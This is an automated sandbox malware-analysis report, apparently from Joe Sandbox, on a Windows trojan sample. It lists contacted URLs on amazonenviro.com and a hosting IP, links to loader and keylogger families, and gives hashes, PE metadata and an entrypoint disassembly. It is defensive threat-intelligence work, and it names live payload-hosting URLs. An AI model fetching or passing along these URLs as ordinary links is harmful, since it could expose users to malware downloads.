https://amazonenviro.com:443/245_Aiymwhpjxsg	UAHIzSm2x2.exe, 00000000.00000003.2956290671.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://amazonenviro.com/5	UAHIzSm2x2.exe, 00000000.00000003.2956388004.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com/~ha~	UAHIzSm2x2.exe, 00000000.00000003.3114546079.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microsM	UAHIzSm2x2.exe, 00000000.00000003.3053706651.000000000086B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2301934670.000000000086B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2418848234.000000000086B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2760643437.000000000086B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2956290671.000000000086B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2897902282.000000000086B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3114546079.000000000086B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000002.3445632764.000000000086B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2282231341.000000000082D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com/245_AiymwhpjxsgJh	UAHIzSm2x2.exe, 00000000.00000003.2898002791.000000000082E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com/245_AiymwhpjxsgP	UAHIzSm2x2.exe, 00000000.00000002.3445632764.000000000088D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_AiymwhpjxsgLocationETagAuthentication-InfoAgeAccept-RangesLast-Modified	UAHIzSm2x2.exe, 00000000.00000002.3445632764.000000000081B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2898002791.000000000081B000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000002.3445632764.0000000000809000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/u	UAHIzSm2x2.exe, 00000000.00000003.2956388004.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com/245_AiymwhpjxsgC	UAHIzSm2x2.exe, 00000000.00000003.3053706651.000000000084A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com/245_Aiymwhpjxsgxk6v	UAHIzSm2x2.exe, 00000000.00000003.2282231341.000000000082D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com/245_Aiymwhpjxsg.mui	UAHIzSm2x2.exe, 00000000.00000003.2282231341.000000000080E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Aiymwhpjxsgerse	UAHIzSm2x2.exe, 00000000.00000003.2897902282.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3114546079.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000002.3445632764.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2956290671.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_AiymwhpjxsgJh	UAHIzSm2x2.exe, 00000000.00000003.2282231341.000000000082D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com:80/245_Aiymwhpjxsgg	UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com45_Aiymwhpjxsgb	UAHIzSm2x2.exe, 00000000.00000002.3445632764.000000000084A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com/Bbe	UAHIzSm2x2.exe, 00000000.00000003.2301934670.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com/245_Aiymwhpjxsg0	UAHIzSm2x2.exe, 00000000.00000003.3053592631.000000000088D000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3114546079.000000000088D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_AiymwhpjxsgWk	UAHIzSm2x2.exe, 00000000.00000003.2301934670.000000000082E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com/245_Aiymwhpjxsg1	UAHIzSm2x2.exe, 00000000.00000003.2897902282.000000000088D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com:80/245_Aiymwhpjxsggclose	UAHIzSm2x2.exe, 00000000.00000003.2897902282.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2956290671.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Aiymwhpjxsg0	UAHIzSm2x2.exe, 00000000.00000003.2301934670.0000000000862000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/W	UAHIzSm2x2.exe, 00000000.00000003.3114546079.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com/245_Aiymwhpjxsg5	UAHIzSm2x2.exe, 00000000.00000003.2956290671.000000000088D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/U	UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000853000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://amazonenviro.com/245_Aiymwhpjxsgc	UAHIzSm2x2.exe, 00000000.00000002.3445632764.0000000000861000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2956290671.0000000000861000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000853000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3114546079.000000000085F000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2897902282.000000000085F000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2418848234.000000000085F000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000861000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com/	UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000858000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2282231341.000000000082D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://amazonenviro.com:80/245_Aiymwhpjxsg	UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://amazonenviro.com/245_Aiymwhpjxsg(	UAHIzSm2x2.exe, 00000000.00000003.3053592631.000000000088D000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2956290671.000000000088D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Aiymwhpjxsg2	UAHIzSm2x2.exe, 00000000.00000003.2897902282.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3114546079.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2956290671.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_AiymwhpjxsgX	UAHIzSm2x2.exe, 00000000.00000002.3445632764.000000000079E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com:80/245_AiymwhpjxsgW	UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/	UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000858000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2282231341.000000000082D000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2956388004.0000000000858000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000002.3445632764.000000000079E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com:80/245_Aiymwhpjxsg20F	UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com:80/245_AiymwhpjxsggT	UAHIzSm2x2.exe, 00000000.00000002.3445632764.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com:80/245_Aiymwhpjxsgged	UAHIzSm2x2.exe, 00000000.00000003.3114546079.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000002.3445632764.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2956290671.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/5	UAHIzSm2x2.exe, 00000000.00000003.2898002791.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com/M	UAHIzSm2x2.exe, 00000000.00000003.3114546079.0000000000858000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com/U	UAHIzSm2x2.exe, 00000000.00000002.3445632764.0000000000853000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Aiymwhpjxsgy	UAHIzSm2x2.exe, 00000000.00000002.3445632764.00000000007E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com/245_Aiymwhpjxsgp	UAHIzSm2x2.exe, 00000000.00000003.3053592631.000000000088D000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3114546079.000000000088D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://amazonenviro.com/245_Aiymwhpjxsgx	UAHIzSm2x2.exe, 00000000.00000002.3445632764.0000000000861000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000853000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3114546079.000000000085F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://amazonenviro.com:443/245_AiymwhpjxsgT	UAHIzSm2x2.exe, 00000000.00000003.3114546079.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2956290671.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Aiymwhpjxsgclose	UAHIzSm2x2.exe, 00000000.00000003.3114546079.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000002.3445632764.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com/d	UAHIzSm2x2.exe, 00000000.00000003.2898002791.0000000000858000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3114546079.0000000000858000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.3053706651.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Aiymwhpjxsged	UAHIzSm2x2.exe, 00000000.00000003.2897902282.0000000000880000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2760643437.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com/245_Aiymwhpjxsgl	UAHIzSm2x2.exe, 00000000.00000003.3114546079.000000000085F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com:80/245_Aiymwhpjxsg8	UAHIzSm2x2.exe, 00000000.00000003.2897902282.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com/245_Aiymwhpjxsgt	UAHIzSm2x2.exe, 00000000.00000003.3114546079.000000000088D000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000003.2897902282.000000000088D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://amazonenviro.com:80/245_Aiymwhpjxsgg2	UAHIzSm2x2.exe, 00000000.00000002.3445632764.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Aiymwhpjxsgk	UAHIzSm2x2.exe, 00000000.00000003.3114546079.000000000085F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
166.62.27.188	amazonenviro.com	United States		26496	AS-26496-GO-DADDY-COM-LLCUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590517
Start date and time:	2025-01-14 08:23:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	UAHIzSm2x2.exe renamed because original name is a hash value
Original Sample Name:	483ab6bd562b28782d0999abec4f57f5.exe
Detection:	MAL
Classification:	mal84.troj.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 24 Number of non-executed functions: 38
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 172.202.163.200
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:24:06	API Interceptor	63x Sleep call for process: UAHIzSm2x2.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
166.62.27.188	zYj1wg0cM2.doc	Get hash	malicious	DBatLoader	Browse	amazonenviro.com/245_Aiymwhpjxsg
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	amazonenviro.com/245_Aiymwhpjxsg
	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	amazonenviro.com/245_Aiymwhpjxsg
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	amazonenviro.com/245_Aiymwhpjxsg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
amazonenviro.com	LbZ88q4uPa.exe	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	zYj1wg0cM2.doc	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-26496-GO-DADDY-COM-LLCUS	LbZ88q4uPa.exe	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	trow.exe	Get hash	malicious	Unknown	Browse	107.180.98.101
	https://upholl-xlognusa.godaddysites.com/	Get hash	malicious	Unknown	Browse	198.71.248.123
	3.elf	Get hash	malicious	Unknown	Browse	184.168.52.170
	http://logiinnmaskemettaha93.godaddysites.com/	Get hash	malicious	HTMLPhisher	Browse	198.71.248.123
	http://app-metamask.godaddysites.com/	Get hash	malicious	Unknown	Browse	198.71.248.123
	http://metamssk-luggiinn.godaddysites.com/	Get hash	malicious	HTMLPhisher	Browse	198.71.248.123
	http://procustodiavalueslive.github.io/mediantime1db1d62ef90e6fec5644546bc086f16336d68481479f56e29285a338fc23/	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	72.167.84.16
	n0nsAzvYNd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.28.135

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	LbZ88q4uPa.exe	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	183643586-388657435.07.exe	Get hash	malicious	Unknown	Browse	166.62.27.188
	uo9m.exe	Get hash	malicious	LummaC	Browse	166.62.27.188
	uo9m.exe	Get hash	malicious	LummaC	Browse	166.62.27.188
	YYYY-NNN AUDIT DETAIL REPORT .docx	Get hash	malicious	Unknown	Browse	166.62.27.188
	msit.exe	Get hash	malicious	LummaC Stealer	Browse	166.62.27.188
	tesr.exe	Get hash	malicious	LummaC Stealer	Browse	166.62.27.188

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.188493218292404
TrID:	Win32 Executable (generic) a (10002005/4) 99.38% InstallShield setup (43055/19) 0.43% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	UAHIzSm2x2.exe
File size:	1'161'216 bytes
MD5:	483ab6bd562b28782d0999abec4f57f5
SHA1:	b758556af2b98708b97a6c3bdbd1e9f2905ed690
SHA256:	e5393c34240b7e1b8a35052d7e151c324a4aa6424b5a6e1a45717157042fb9ab
SHA512:	6f3f60153b3c4b1a780c80d59a4e17d8c109f57a1380f73b50498ac85a081b804d0f7c0ffade4ac193656b3135dedddcd607121d9571b4c3baf34103e36d129d
SSDEEP:	24576:Gw6yj+R7ydItm/2uQAGYDKAVcpzWc4ctu:GDBR2KTYDKArc4Ku
TLSH:	8E359D3790B387FDC17289798F5F9BE4682EA9303928BA52FED17D0D5B242417838197
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	4f858a8c8e8e8946

Static PE Info

General

Entrypoint:	0x46e80c
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	44c8864bd68c3bff94639c69671ea4b7

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0046D250h
call 00007F131CE33C51h
mov ecx, dword ptr [00470E9Ch]
mov eax, dword ptr [00470D8Ch]
mov eax, dword ptr [eax]
mov edx, dword ptr [0046CB00h]
call 00007F131CE89AE9h
mov eax, dword ptr [00470D8Ch]
mov eax, dword ptr [eax]
call 00007F131CE89B5Dh
call 00007F131CE31AB0h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x75000	0x266e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x82000	0xa1c00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x7ce8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x79000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x75754	0x600	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6c4c0	0x6c600	69c4173c38ad27686fb46f69fd79ec91	False	0.5070961288927336	data	6.531494017298441	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x6e000	0x848	0xa00	639613140a642faedd01bff468c3e3cf	False	0.523828125	data	5.552779847613545	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x6f000	0x1f40	0x2000	53b6dd6978c858db7e9faa57954b9c18	False	0.3963623046875	data	3.804120578626792	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x71000	0x36ec	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x75000	0x266e	0x2800	f0f9a1156b641e5ea253cb6ddcaf08ba	False	0.3103515625	data	4.872671403071516	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x78000	0x34	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x79000	0x18	0x200	5b11e123dd9b7f6d94b27d2ad6e9bc83	False	0.05078125	data	0.2108262677871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7a000	0x7ce8	0x7e00	3b0f62de599dc8a77438a9e2115a0b81	False	0.6107390873015873	data	6.679791141044884	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x82000	0xa1c00	0xa1c00	d31868c6483367700b95815234a2e180	False	0.50098410935085	data	6.976886685856244	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x83244	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x83378	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x834ac	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x835e0	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x83714	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x83848	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x8397c	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0x83ab0	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x83c80	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0x83e64	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x84034	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0x84204	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0x843d4	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
